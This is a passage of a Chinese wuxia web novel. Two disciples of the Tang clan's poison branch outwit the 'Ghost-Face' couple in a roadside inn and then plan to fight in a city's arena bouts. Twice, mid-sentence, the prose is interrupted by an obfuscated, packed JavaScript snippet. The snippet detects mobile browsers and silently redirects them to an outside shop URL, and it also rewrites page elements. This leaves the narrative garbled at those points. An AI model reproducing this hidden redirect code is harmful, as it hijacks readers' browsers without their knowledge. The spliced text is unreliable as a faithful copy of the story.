《悬刃之下:凤驭江湖》 1. 生死博弈 暮春,微雨,罗城郊外。 离官道一箭之地的荒僻小栈内,唐一禾伏在地面,一动不敢动。 身前散落数根银针,针尖凝着一点暗褐色,腥气混着潮湿的霉味钻入鼻腔。耳边是高高低低的喘息声,与茶炉咕嘟煮水声交织,不远处几滩暗红血渍,更衬得满室寒意森然。 她与师弟二人只是过路打尖,却无端卷入这场杀局。此时冷汗已然浸透内衫,脊背发凉,脸皮发麻,连呼吸都变得短促颤抖。 不必细看,打不过。那出手的貌美女子,武功足以比肩大师兄唐司雅,她跟师弟两人加起来,都远不是对手。更何况女子身后那个书生样的男子,气息沉敛如蛰伏巨兽,唐一禾光是看一眼,都已是寒毛倒竖。 但现在已退无可退,避无可避。 唐一禾强行按捺狂跳的心口,手掌死死按住身侧瑟瑟发抖的客栈伙计。她轻咳示意,抬眼对上师弟唐烈风的视线。二人无需言语,已然默契相通。这对夫妇出手狠绝,杀意昭然,眼下虽然身份未露,一旦坐以待毙,只会落得身死当场的结果。 今日真是倒霉透顶,唐一禾念及此简直五内如焚。分明是她先选的这间偏僻客舍,一路小心谨慎,未曾惹是生非,结果汤饭尚未上齐,门外便响起纷乱的马蹄声,两拨人马接踵闯了进来。 之前进来的是三个虬髯大汉,个个神色凶戾,一看就很不好惹。紧随其后的是一男一女,斯斯文文的,但唐一禾脑中警兆忽起,赶紧低下头不敢对视,暗中在桌下扯住师弟衣袖——这情势不跑还等什么? 结果第一个开溜的老掌柜都没跑出去,一柄飞刀破空而至,堪堪钉入门框,只差寸许,便要贯穿他的手腕。 出手的,正是那容色明艳的女子,她唇角噙着柔婉笑意,语气轻柔娇俏:“掌柜的这般急着离去,便是蜀地的待客之道?” 三名虬髯大汉闻声立刻抽刀相向,气势腾腾,杀气毕露。唐一禾刚觉得可以趁乱出逃,下一秒就心口一缩,决定还是另寻他法。只因那名女子轻描淡写的一句话,再加一招出手,便已镇住全场。 “哎呀呀,唐十三,逗你们玩了一路,你当真以为凭你们这点微末功夫,能挡得住我一招呢?既然寻了援手埋伏在此,那就一并给个交代吧。” 说话间,两根峨眉刺自袖中滑出,也不见繁复招式,轻飘飘地就将左右两条大汉的手中长刀击飞,旋即侧身横踢,力道刁钻狠厉,正中居中唐十三的胸口,愣生生将一条近两百斤的壮汉踢飞出去,重重撞在木柱之上,呕血难起。 未等众人回过神,点点寒星已然漫天洒落,原来那女子突然一招“天女散花”,无数银针自其掌心激射而出,竟是不分敌我,朝着客栈内所有人尽数袭来。 唐一禾这才明白刚才那话的意思,所谓一并给个交代,竟是要屠尽满室,不留活口!不是吧,她与师弟二人初来乍到,罗城一个人都不认识,被错认成唐十三请来的援兵,平白惹上这场无妄杀祸。 仓促间来不及多想,唐一禾的应对算不得好看,往后一躺的铁板桥使得不顺当,被长凳绊了一跤,顺势将旁边的店小二撞倒,两人一同翻滚至翻倒的长凳后面,堪堪避过了银针攻击。 相较之下,师弟唐烈风的表现就要从容多了。他手腕轻抖,桌上粗布桌布横扫一圈,卷落了大部分银针,然后一个侧身移步,挡在了唐一禾的前方。 借着师弟身形遮挡,唐一禾指尖一弹,两枚药丸悄无声息地落入茶炉之中,但还来不及站起,就听那名女子拍了拍手,语带笑意地说:“见机都挺快的嘛,唐十三,你找来的帮手,究竟是那两个土包子,还是这一老一小两个窝瓜?” 唐一禾眨眨眼睛,很不情愿地承认她和师弟,就是女子嘴里的土包子。不就是衣着寒酸了些,但好歹鹑衣轩举,最不济看看师弟的脸呢?至于那窝瓜,一定就是窝在客栈一角的老头和半大小子了。 今日客栈共四桌客人,唐一禾进门前只得那一桌,她专门留意过那桌人,是一名面色枯槁、形似久病缠身的老者,带着个憨头憨脑的半大小子。两人形貌普通,初看像是投亲访故的寻常百姓,细看老者喝茶时手极稳,憨小子偶尔眼神锐利,唐一禾直觉这二人不简单,果不其然是来助拳的。 唐一禾倒下时看得分明,二人面对突袭纹丝不动,飞过去的毒针不知为何,在离二人半尺之处垂直落下,似有无形屏障阻隔。直到她看到憨小子收拢了一柄薄如蝉翼的大伞,才知道是借助了外物。只是不知大伞是什么做的,看起来正是克制暗器的秘宝。 沉寂良久的老者终于缓缓开口,声音不高却中气十足,气势也陡然变强了许多:“江湖中大名鼎鼎的‘鬼面夫妇’,不在江东好好待着,一路藏拙跟着我这几个不成器的弟子入蜀,到底是有什么见不得人的打算?” 唐一禾与师弟唐烈风飞快地对视一眼,都从彼此眼中看到了凝重无奈。这老者的修为虽然远胜唐十三等人,可气息底蕴也并非强悍难测,是远不及“鬼面夫妇”二人的。 今日这一战,从一开始,便是死局。 柜台之下,缩成一团的老掌柜,此时骤然失声惊呼:“鬼,鬼面夫妇?莫非你便是‘鬼妇’魏巍,他,他是‘鬼夫’朗琅?” 唐一禾没听过这二人名号,却见惊恐万状的老掌柜,猛地从柜台暗格抽出一柄铁剑,然后摆出防御起手,竟是决意要与“鬼面夫妇”拼死相搏。 唐一禾缓缓握紧了袖中指尖,连一介市井掌柜都被逼到了如此绝境,何况他们身陷局中之人?她方才滚落时,已趁机扣住了数根毒针,虽然现在还派不上用场,但却是下一步的“局眼”。 “鬼妇”魏巍还是那副娇滴滴的做派:“我们夫妇二人久仰唐门式之一部,机关精巧,武艺超群,千里奔赴,只为请教。此番入罗城,别无他求,只求入唐家堡的天一阁,观阅典籍数日,不知长老可否应允?” 唐一禾心头恍然,原来唐十三一行竟是式部的人,难怪那憨小子的伞具如此精巧。可这念头只让她心更沉——敢在唐门地界对式部弟子下死手,“鬼面夫妇”所图,必然惊天! 老者面色愈发沉冷,语气寸寸变硬:“你们二人一路藏拙,戏耍在先、伤人在后,如今还要强闯宗门秘地,未免太过欺人。若我说,借你们师尊‘千手佛陀’的功法秘籍看上几眼,又或者去你们江东太初殿住上几日呢?” 唐一禾听不懂人名地名,但知道这句话回得很硬气,硬气到“鬼妇”魏巍都不再娇笑,而是变了腔调:“素来听闻西蜀人杰地灵,唐门高手如云,今日一见不是窝瓜就是草包,无趣无趣。” 倒地呕血的唐十三强忍伤势,厉声怒骂:“狗男女些!此乃唐门地界,尔等还敢放肆行凶,当真不知道死字怎么写!” “鬼妇”魏巍眸光一厉:“那便让你,先写一个给我看看咯?” 唐一禾心知杀机已现,再不动手,怕是要晚了。她暗中飞快地朝师弟比出手势,同时故作惶恐,摆着手去抓身侧包袱:“我们是乡下土包子,不敢掺和江湖恩怨,今日所见所闻一概不知,还望诸位高抬贵手。” 持剑戒备的老掌柜目光沉沉,瞥见唐一禾朝他晃动的手心,心中倏忽一动,随即眼神一暗,当下咬牙做出决断——死马当作活马医吧,反正已身至绝境,高低赌上一把。 老掌柜不等话语落下,骤然挥剑斩断柜台悬索。“哗啦啦”一阵巨响震动全屋。 客栈三面门窗之上,早已暗藏的铁链与厚重鞣皮骤然落下,死死封住所有出入口,昏暗瞬间笼罩整座客舍。 唐一禾望着密不透风的铁网皮革,在身后向掌柜的比出大拇指,为多拖延些时间,她嘴上也大呼小叫起来:“你,你为何封死门窗?莫非你与‘鬼面夫妇’本就是一路人?” 老掌柜明白做戏做全套,顿时朝着二人大骂起来:“老朽真是看走了眼了,初以为是两位少年英雄,不想却是两个呆卵。” “我与你无冤无仇,为何要为难我们?”唐一禾控诉的声音带着颤抖,连带抓着师弟的手都有些哆嗦,“我们,我们可不想死。” 老掌柜面色惨白:“你以为现在讨饶,就能走得了了吗?‘鬼面夫妇’从不留活口。” 狭小的客栈内光线愈发昏暗,人影兵器都看不分明,唯有茶炉一点星火,混着窗缝漏入的微雨天光,衬得满屋压抑死寂。 “竟然是家黑店!”“鬼妇”魏巍环顾四周,嗤笑出声,毫无半分忌惮,“夫君,蜀地远比预想中有趣得多呢。” 自始至终不发一言的“鬼夫”朗琅,终于说出了进栈后的第一句话:“黑店掌柜几个归你,两个窝瓜归我,尽快了结了吧。” 话音未落,他宽袖猛地一振,黑压压一片暗器破空飞出,直扑唐一禾、唐烈风与重伤的唐十三几人,竟是要先扫清一众杂鱼再说。 唐一禾早有防备,立刻缩身躲至木柱之后,顺势将毒针拍入木柱裂隙。唐烈风则挡在了唐十三前方,手中长剑挽出剑花,将身前的铁蒺藜尽数击落。奈何暗器数量实在太多,难免有所疏漏,还是有几枚飞了过去,打在重伤无力反抗的唐十三几人身上。 “鬼妇”魏巍已经欺身向前,速度奇快,两把峨眉刺直插老掌柜双眼。老掌柜虽略通武艺,招式却粗浅平庸,一剑格挡仅能稍稍迟缓其攻势,根本难以抵挡凌厉杀招。 眼看利刃迫近,生死一线,唐一禾与唐烈风同时纵身而出,软鞭横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522916|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫,长剑直刺,一左一右,双双攻向“鬼妇”魏巍丹田之处。 “鬼妇”魏巍嘴角勾起,眼中尽是轻蔑,还真当她看不出来呢?一个故作狼狈躲避,是为了救那客栈伙计,不过是少年人自以为高明的扮猪吃虎。另一个实诚些,没有刻意隐藏内息,处处也挡在了前头,还生了一副难得一见的好相貌。 虽遭三人围攻加偷袭,“鬼妇”魏巍不闪不避,双刺翻飞,仍选择用实力碾压,可见丝毫不把对手放在眼里。不料她双掌击出,却全然落空,才知“土包子”少年方才的凌厉攻势,竟全是虚招,唯有老掌柜当胸一剑是实打实的。 她回招挡住老掌柜手中铁剑,并飞起一脚将其踹飞。尚未稳住身形,上三路又是一剑封喉而至,脚下一道软鞭疾缠而上,剑气刚猛,鞭势柔狠,倒是配合默契,攻防无缝。 “鬼妇”魏巍行走江湖多年,阅历极深,此刻也不得不收起轻视,凝神应战。眼前这两个少年青涩稚嫩,招式也不算精妙,可出手时机极为刁钻,攻防角度阴狠老练,绝非初入江湖的寻常寒门后生。 生死搏斗间容不得细想,“鬼妇”魏巍身法一变,不守反攻,转动峨眉刺横掠斜挑,手臂突然暴长,施展出独门绝技“夜叉探海”——管你们如何扮猪吃虎,先杀了再说。 谁知二人上剑下鞭的进攻,依旧是空泛虚招,等她招式用老之际,一剑一鞭挟裹着呼啸劲气,再次合击面门而来。 “鬼妇”魏巍瞳孔微微一缩,心头疑窦顿起。这二人出招没有起势,招招虚招,难不成只是花架子,主打一个虚张声势?尤其那剑招劲气破空,隐有雷暴,一个少年人如何能有这般内力,却又只会横竖劈砍,招式杂乱无章? 她此次出手刻意留了三分余力试探,原以为对方仍是虚招,却不料此番竟是实打实的硬拼硬打。双方兵刃劲气,甫一接触就已炸开,“鬼妇”魏巍心道大意了,赶紧提气运劲,不想内息一滞,下盘虚浮一晃,电光火石间暗叫一声不好,竟被击得后退三步,后背重重撞上木柱。 未等调息稳气,后肩骤然传来细微刺痛,“鬼妇”魏巍伸手一摸,竟然是自己方才射出的毒针,不知何时被人反向钉在梁柱之上。只是此时针尖泛着诡异青绿,远非方才那一点浅淡褐毒。 浓烈麻痹感顺着肩颈飞速蔓延,“鬼妇”魏巍瞬间面色煞白。惊怒交加间,右脚脚踝又是一疼,一条细小青鳞小蛇转瞬窜开,隐入后方阴影之中。 糟糕,中计了! 一念轻敌的“鬼妇”魏巍,此时已经舌头僵直,说不出话来,更被那好相貌的高个“土包子”一把擒住颈部大穴,浑身动弹不得。 唐一禾低沉鸣哼召回了小蛇,那蛇通体青翠,唯独额头一点猩红,如冠如冕,此刻温顺地盘踞在她肩上。 总算松得半口气,毒粉、毒针、毒蛇是她所有的手段了,使出来时心中也全然没底——毒针分插在了五个地方,碧螣也不能完全听话,好在天无绝人之路。唐一禾知道“鬼夫”朗琅的武功远在妻子之上,唯有将所有手段攻其薄弱,打一个出其不意,将必死之局转化为两败俱伤的威慑,方能博出一线生机。 她抬眼看向另一侧的朗琅,语声清冷,带着十足威慑:“你若不想你夫人毒发毙命,便即刻收手。” 此时客栈另一头的“鬼夫”朗琅,已将病老头、憨小子逼入绝境,本想快速解决掉这一老一小,不料内息运转间竟有凝滞,让他不能全力施为。而那老者层出不穷的机关奇物,喷火射水,层层阻拦,也硬生生拖住他许久。 眼看妻子受制,一向冷漠的“鬼夫”朗琅面色沉到了极致。妻子虽说有点娇娇嗔嗔爱出风头,但武学修为已经差半步顶尖,对上名宿强手都丝毫不惧。想不到今日,竟会折在两个乡下少年手里,看样子还中了毒,真是大出意外。 好在师叔之前便来了蜀地,有他在此地坐镇,什么毒都不会太棘手。 想到这,“鬼夫”朗琅紧绷的下颌线似乎放松了一丝,目光扫过妻子后,重新锁定唐一禾肩头的青蛇。他一步一步朝唐一禾走去,语气竟意外地缓和下来:“猩红冠子黄眼翻,三角脑袋绿铜钱,这位小兄弟肩头所养,可是‘百毒之王’,碧螣?” 唐一禾心下一紧,直觉不对劲,这根本不是正常谈判的路子。 倘若易地而处,师弟被人扣住、身中奇毒,她第一反应必然是先拿住对方同伙,拿人质做筹码周旋,谈条件也应是虚张声势、避重就轻,绝不会像“鬼夫”朗琅这样,直言点出碧螣来历。 这不合理,除非他已通过碧螣辨出了她的身份。想到这,一股寒意从尾椎骨直窜上天灵盖,汗毛再次炸起—— 他压根就没打算跟她谈条件! 2. 金章擂台 唐一禾猜得半点没错,在看清那条青鳞小蛇的瞬间,“鬼夫”朗琅就断了交涉的念头。 蜀地唐门之中,敢把“百毒之王”碧螣当伴宠驯养的,除了经部一脉不做他想。来蜀地之前,看了主上密探搜集而来的各色情报,四部中其他三部倒是底细清晰,唯有经部记载寥寥。只知经部主管制毒解毒之法,在门中地位超然,阁主唐至青性情孤绝,独行寡断,是连师父都要忌惮三分的狠角色。 今日一见果然难搞。 不过区区两个少年,内息尚可,招式粗浅,竟然能擒住爱妻,莫不是会什么邪法?不过“鬼夫”朗琅从不信什么怪力乱神,他只相信拳开真理。 既然碧螣在此出现,唐至青定在左近,他要是紧随而至,局势怕是要逆转。主上交代的任务,绝不能折在此处。妻子身上的毒虽然棘手,但只要有师叔在,总不会有性命之忧,那今日暂且忍上一忍。 一念至此,“鬼夫”朗琅骤然暴起,身形鬼魅般猛扑而来,雄浑掌力一吐,令人窒息的劲风朝着唐一禾兜头而至。“鬼夫”朗琅乃当世顶尖高手,他的全力一击,就算唐门老祖唐川之都得正色对待,哪里是招式只学了皮毛的唐一禾能硬接的? 好在唐一禾全程凝神戒备,对方一动便全力后撤,勉强躲开第一招掌势锋芒,但仍被狂暴劲气震得脚步踉跄。第二掌接踵而至,避无可避间,她只得蓄起全部内力,双掌向上平推硬挡——到了这般境地,什么诡计埋伏都无用,只能听天看命了。 生死一瞬,一道剑光斜斜杀出,硬生生拦下“鬼夫”朗琅大半掌力。唐一禾喘过一口气,知道是师弟唐烈风来援手了。只是他不听安排,擅自出手相护,“鬼妇”魏巍没了挟制,之后的布置怕是全然用不上了。 唐一禾胳膊被震得发麻,胸口气血仍在翻腾,见“鬼夫”朗琅不过三招,就将师弟压得左支右绌,但他在节节败退间,竟也生生扛了下来,只是不知还能扛上几招? 正当唐一禾转身要再去擒“鬼妇”,“鬼夫”朗琅动作更快,他虚晃一招逼开唐烈风,抢过抓起妻子,猛地撞破木窗,劈开链锁皮革,纵马扬长而去。 人,就这么走了?解药不要了吗?所以满屋子人的性命—— 姑且,算是保住了吧! 这一切发生的太快,从唐一禾用计制住“鬼妇”,到“鬼面夫妇”双双撤离,不过片刻功夫。老掌柜刚从地上爬起准备再战,变局已经转瞬落幕,一时怔在原地,劫后余生的寒意才缓缓爬上来。他对着唐一禾、唐烈风二人深鞠一躬:“多谢二位少侠救命之恩。” “多谢二位少侠。”唐十三几人满身伤患,也纷纷道谢。 气息调息完毕,那名病弱老者缓步上前,拱手行礼:“老朽唐至远,乃唐门式部长老,敢问二位少侠高姓大名?师承何处?” 他目光落回唐一禾腰间竹筒钻回去的青蛇:“此蛇,可是碧螣?” 初到罗城,局势未明,唐一禾本不愿吐露身份,毕竟经部出了如此大的变故,她和师弟一路蛰伏避祸,行事必须步步谨慎。方才性命攸关之际,她不得已放出了碧螣,只是这异兽特征太过扎眼,“百毒之王”的名头世人皆知,她们二人经部弟子的身份,已然是藏不住了 唐一禾只得拱手:“师伯好眼力,确是碧螣,不过尚在幼年期,不能全然受控。” 说话间,她快步走到唐烈风身旁,蹲下伸手搭他腕脉探查,稍稍放下心来。师弟硬接了“鬼夫”朗琅三掌,气血震荡剧烈,现在还需打坐调息。好在他内功扎实,并未受重伤,可见“鬼夫”朗琅急于脱身,也未下死手。 “晚辈唐门经部,唐一禾。这位是我师弟,唐烈风。见过至远师伯。”唐一禾站起身后,替师弟一起恭敬回答。 “你们真的是经部的?你们是怎么把鬼妇撂倒的啊?你们也太厉害了吧!”一旁的憨小子嘴角挂血,满脸好奇地凑了上来。他刚查完唐十三几人的伤势,确认无性命之忧,立刻自来熟自我介绍起来:“我叫唐寰宇,式部三代弟子,今年十三岁了,你们可以叫我小宇。” “小宇师弟。”唐一禾温和点头,“今日也算有缘,并肩躲过一劫。”她转头看向柜台边的老掌柜,郑重拱手:“多谢掌柜仗义相助。” 老掌柜连连摆手:“羞煞老夫,不过自保罢了,那种时刻不信你,还能信‘鬼面夫妇’不成?何况你故意摔那跤,不也是保护我家伙计嘛?” 唐寰宇越听越好奇,圆溜溜的眼睛不停地打量着她。唐一禾见状摊开左手,掌心赫然写着黑色四字:关闭门窗。 不待小宇再次发问,唐一禾主动解释:“我躲避银针摔下长凳,借倒地遮挡之际,已将两枚‘散气丹’弹入茶炉中。只是那会门窗大敞,药力散得太快,只好请掌柜的助我一臂之力。” “你又如何得知,我这客栈有此布置?”老掌柜虽然配合了安排,但仍有不解。 “进屋时门楣卷皮的鞣制味有点大。”唐一禾笑道,“我自幼五感六识比一般人灵敏,再说南边窗棱边上,不是还有铁链砸过的旧印子吗?” 众人闻言恍然,心道果然是经部的弟子。 “原来从那么早开始,你就下手对付‘鬼面夫妇’了啊,难怪刚才打斗时,我也感觉有些提不上来气。”小宇是少年习性,还想打破砂锅问到底,被唐至远一句“休得胡言”打断。 小宇伸伸舌头,不再言语,唐一禾见此也调转话题:“我与师弟奉师命入罗城,尚有旧务要办,行踪不便外露。今日客栈之事,还请诸位代为保密。” 众人纷纷应允,尤其式部此番折损惨重,险些全军覆没,本就不愿外传败绩,自然满口答应。 唐至远是式部众人中辈分最高的,知道了唐一禾二人经部身份,有心拉拢,开口邀约:“二位贤侄救命之恩无以为报,若是不嫌弃,可来我式部天一阁落脚小住。方才见你留意了天蚕冰伞,天一阁最不缺的,就是这般机关物件,二位来了尽可随意观摩。” 这话份量极重,可谓大门敞开,任君取撷。要知道,唐门式之一脉主管机关阵法,同门间也不外传,尤其接连几辈都出了惊才绝艳的巧匠,一度能与千年营造世家“样式雷”比肩。只可惜“天工阁主”唐至奇二十年前身故后,式部发展声势大为受挫,弟子中也无甚杰出之辈,慢慢在唐门四部中落了下乘。 唐一禾也心里掂量一番,这老者既能开得这般口,可见在式部地位不低。但眼下经部处境微妙,万不能和任何一部走得太近,免得被人拿捏把柄、暗中盯梢。 “师伯厚爱,晚辈心领。”唐一禾委婉推辞,“只是有师傅交代的要事在身,实在不敢耽搁。待诸事了结,我与师弟回到唐家堡,必定登门拜访。” 唐至远闻言也不强求,心知大战之后不能久留,于是命唐寰宇将那柄天蚕冰伞赠予二人当作信物,便带着一众门人匆匆离去。 人一走,客栈瞬间空旷起来。唐一禾摩挲着手里的天蚕冰伞:“看看人家式部多豪气,出手就是价值千金的信物,不像咱们一路抠搜,吃盘牛肉还得盘算半天。” 唐烈风此时也睁开了眼睛,脸色须臾不好看,不知道是被打的,还是挫败多一点。他低声冷哼:“比起五条人命来,一柄伞也算不上多金贵了。” “你可真会掐着点儿醒,别以为我不知道,你存心躲一旁图清静。”唐一禾撇撇嘴,蹲下身满地捡拾散落的银针、铁蒺藜,一股脑塞进布袋,“这些零碎攒一攒,当破烂卖,好歹能换几个铜板。” 唐烈风无奈地又闭上了眼睛,师姐她,说什么都是对的。 老掌柜看得目瞪口呆,声音中带着不可置信:“二位少侠,老夫的性命不算多金贵,住店免费、牛肉管够还是抵得起的。还有,这个地儿不能待了,我在城内还有几间屋子,胜在干净整洁,二位初来罗城不欲他人知晓,正适合你们隐匿行踪。” “你开黑店的,我可不敢去。”唐一禾笑嘻嘻地指着被“鬼夫”朗琅破开的皮革锁链,“谁家好人弄这些?” “郊外小店难免遇到个逃兵罪犯、强人土匪,遥想当年老夫也是行走江湖的镖局镖师,有备无患的道理还是懂的。”老掌柜哼了一声,“小丫头这么厉害,连‘鬼面夫妇’都能打退,谁敢惹你,不去拉倒。” 唐一禾斜睨挑眉:“你怎知我是女的?” “老夫活了六十八岁,每日见得上百人。”老掌柜轻捻长须,语带自豪,“刚进门确实是看不出,但你已经在我眼皮子底下蹦跶一个时辰了,若还看不出端倪,真当我是瞎的吗?” “我回头告诉师叔,你说他们都是瞎的。”唐一禾很会借力打力。 “哼,唐至远此番托大了,说他一句眼瞎心盲倒也不为过。”老掌柜吩咐店小二收拾行装,关店打烊,“他的功夫这些年无有寸进,教出来的徒孙倒还有点样子。你们俩个跟着他去天一阁,未尝不是一个好去处。” 唐烈风闻言抬眼,起身掸掸衣角:“掌柜的何出此言?” 老掌柜看了一眼唐烈风,此子容色如此出挑,身手竟也如此不凡,怕是走到哪都不会埋没。 “恕老夫直言,刚才你们二人联手对敌,将绝境硬生生翻了盘,确实称得上英雄出少年。”老掌柜先夸一句,随即直言要害,“不过表面上看,你们处处占先,现在回看却是如履薄冰,一着不慎,全盘落空,只因你们有个致命短处——空有一身内力,根本不会正经打架。” 见二人脸色微变,老掌柜笑着捻须,继续给甜枣:“你们对付鬼妇时,心思奇巧,层层设局,这般急智能耐放眼天下,老夫也敢说没几人能做到。” “说,后面的但是。”唐一禾冷声催促。 “可对上正面强攻的朗琅,虽说其武功更高,但你一招就要拼命硬挡,他三招就被打得要调息。”老掌柜从善如流地很,还给出了印证,“你们再看看那个小宇,内力远不如你们二人,也能多撑个数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522917|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招。” 见唐一禾轻轻抿嘴,老掌柜话说得更直白了:“内功再好,不会招式、不懂搏杀,终究是纸上谈兵。” 唐一禾与唐烈风对视一眼,默然不语,这可是真真戳到了二人的软肋。唐一禾眼珠一转,立刻换了一副笑脸:“那掌柜的好人做到底,城里宅子在哪?牛肉管够还做不做数?” “自然做数,小丫头这般灵活,前途无量。”老掌柜轻晒,接过伙计收拾出的包袱往外走,“‘鬼面夫妇’师承天下暗器第一人‘千手佛陀’,常年盘踞江东,此番突然入蜀,又卡在唐门令开启的节点,绝非偶然。” 唐一禾赶紧拔腿跟上,随口应和:“就是就是,强龙尚避地头蛇,我倒是觉得这对夫妇,隐藏实力戏耍唐十三,逼其求援引出师长,目标未必就是天一阁,搞不好是另有所图。” 老掌柜又看了一眼唐一禾,这个丫头脑子清楚得很啊,她有这番见识认知,到哪儿都不会被埋没。 要知道唐门盘踞蜀中,经过数代经营,势大比肩王侯,尤其当今掌门唐川之,武功盖世,远见卓识,江湖人皆尊称一句老祖。唐家堡坐落罗城,乃本地绝对的地头蛇,若非心存妄念、胆大包天之辈,绝不敢在唐门腹地寻衅挑事。 他刚才也已经细细想过“鬼面夫妇”的举动,确有很多不合常理的地方,这个小丫头竟然也都想到了。不过该提点的话,还是要说:“你们远不是‘鬼面夫妇’的对手,问题还是交由师长处理吧。” 唐一禾本是随口一说,哪里想去帮别人解决问题?!她自己现在全是现实问题:没钱、没人、缺招式、缺消息。她索性直接请教:“老大人帮支个招,我跟师弟之前确实疏于练招,但如今之际也不可能再拜师了。所以依您老之见,我们如何能在短时间内,学会,那个,正经打架?” “去城内打金章擂台吧。”老掌柜沉吟片刻,淡淡开口,“反正小丫头有的是心眼子,小子有的是力气,赢了还能挣银子。” …… 罗城,丰乐坊僻静民宅。 当日唐一禾二人便已顺利入城安顿。 唐一禾兴致勃勃的翻看老陆送来的包袱,里面腰牌、面具、未开刃的刀剑等零零总总。 老陆就是老掌柜,本名陆炳中,曾是燕北威远镖局的镖师,后在护送一趟西北的货物遇袭重伤,被归蜀的商队救下,之后便在罗城娶妻生子安稳了下来。他人脉极广,办事利落,不过一天功夫,连金章擂台的引人作保、腰牌、兵器都准备好了。花名册需要打点的地方多,要晚些才能送过来。 “怎么样,够不够霸气?”唐一禾掏出她的腰牌,上面雕刻着四个字——“神锋无影”,“啧啧,还没出场,就能让对方胆寒。” 唐烈风笑笑没有说话,伸手拿过刻着“无名”二字的腰牌塞进怀里,继续翻看手中的《筋经》。他自从昨日跟“鬼夫”朗琅交手后,一直魂不守舍的,要么枯坐发呆,要么翻书发呆。 “这书我都能背了,没人指点就是照猫画虎。”唐一禾拿脚踢了踢他,“走,今晚咱就去拳庄里头转一转。” “日常赛无非是些莽夫逞凶斗狠,鱼龙混杂耳目太多,老陆说最近风声紧,尽量少出门,有事他会派人传话。”唐烈风头都没抬,眼睛没离开过手中的书。 “老陆这么殷勤地引荐我们去打金章擂台,未必没有私心,估计引荐金低不了。”唐一禾把手掌伸到唐烈风眼前晃了晃,“正经打架还得靠实战,哪怕去偷学两招也是好的。实在不行打一场,二两银子也是钱,咱们快断粮了。” 金章擂台分级明确,日常赛每天都有,门槛最低,只要有引人作保,确定不是作奸犯科的通缉要犯,签了生死状就可以上场。不过都是些市井武夫、底层游侠,赢一局只得二两银子。 唐烈风嘴角勾起一抹极淡的弧度,合上书页,看向师姐:“师姐既然想去,那去看看也好。” “真是一分钱难倒英雄汉。”唐一禾叹了一口气,“逼急了我,我,就上街去乞讨。” 唐烈风默默腹诽,劫富户应该来钱快些?他挑眉瞄了师姐一眼,正对上她若有所思的目光,仿佛看破了他心中所想,只得强装镇定,免得被她收拾。 师傅死了,大师兄失踪了,二人从洛川山中出来,本身就没带多少盘缠,当晚还被西北马帮剿杀,慌忙冲出包围后还丢了行囊,一路靠贴身带着的几张银票窘迫度日。本想到了罗城能好些,又无端撞上“鬼面夫妇”死局,真是前路茫茫,风波未歇。 现在第一要保住性命,再说找大师兄和参加唐门令的事。而保住性命,唯有增强自身实力,才能在夹缝中生存,不然还没等他们二人走进唐家堡山门,就已经死过好几回了。 打铁尚需自身硬,唐烈风出门前摸了摸怀里那本《筋经》,心想对着“鬼夫”朗琅的招式看了一天,也不是毫无收获。真要打日常赛,也得是他上,现在形势不同了,总不能还让师姐冲在前方。 3. 西域神象 戌时一刻,夜色浸透罗城街巷。 城中最负盛名的拳庄内,灯火通明,亮如白昼,场地中央的木质擂台上两个壮汉正在抱摔,四周看台上满是高喊助威的观众。 唐一禾没想到日常赛也这么多人看,上座率目测超过了八成,看来金章擂台真的是罗城百姓喜闻乐见的娱乐活动了。 日常赛之上是月赛,由日常赛连胜者角逐,积分晋级,奖金会高些,但老陆说真正热闹的是最高等级的季赛。四季一开,为期七天,淘汰赛制,奖金丰厚,届时不仅有大把看热闹的观众追捧押注,还有富豪、镖局会去重金聘请护卫、镖师等。 季赛门槛看似简单,实则严苛,要求参赛者能在三丈之外,单靠掌风劈灭三支蜡烛。这需要实打实的内力功底,而内力又是最做不得假的,所以能来参加季赛的,至少也得是江湖正经门派中二三流的弟子,因为没有师承的市井小民,是无论如何也练不到这个地步的。 老陆也确实有点排面,有他作保,唐一禾二人甚至不用现场展示掌劈蜡烛,就直接拿到了腰牌,保送夏季季赛,后天晚上即可登台亮相。 唐一禾百无聊赖地看了两场,探过头悄声跟唐烈风说:“确实没什么看头,白瞎我一百文钱入场费。这些人连外家功夫都没入门,招式杂乱,蛮力横冲,咱俩上去打,纯属欺负人” 这话半点不假。 旁人看着她们二人内力深厚、气息沉稳,算得上少年高手,可只有唐一禾自己清楚,她和师弟,从头到尾就没正经学过武功招式。 唐一禾对师傅的情感很复杂,因为她是穿越过来的,前世是顶尖辩护律师,八年前在这个落水孤女身上苏醒后,看到的就是缠绵病榻的师傅。唐一禾一开始以为师傅不传授她武艺,是因为受伤生病的缘故,后来才知并非全然如此。 她的师父,唐门经部阁主唐至青,性情孤冷孤傲,眼界极高。经部对弟子天资根骨要求奇高,本身收徒就困难,在他手上愈发人丁凋零,加上唐一禾一共也就收得两个徒弟。 好在唯一的大师兄唐司雅,天赋绝世,武功青出于蓝,品貌、气度、学识无一不佳,也是唐一禾穿越后找到的最靠谱靠山。 只是这八年里,师傅的病时好时坏,大师兄一直忙于帮师傅求医问药,还要处理门中之事,整日忙得不见踪影,并无更多精力指点唐一禾武艺。只仔细教了一套鞭法,至于《毒经》、《筋经》等典籍,全靠她自行翻阅、摸索自学,不懂再问。 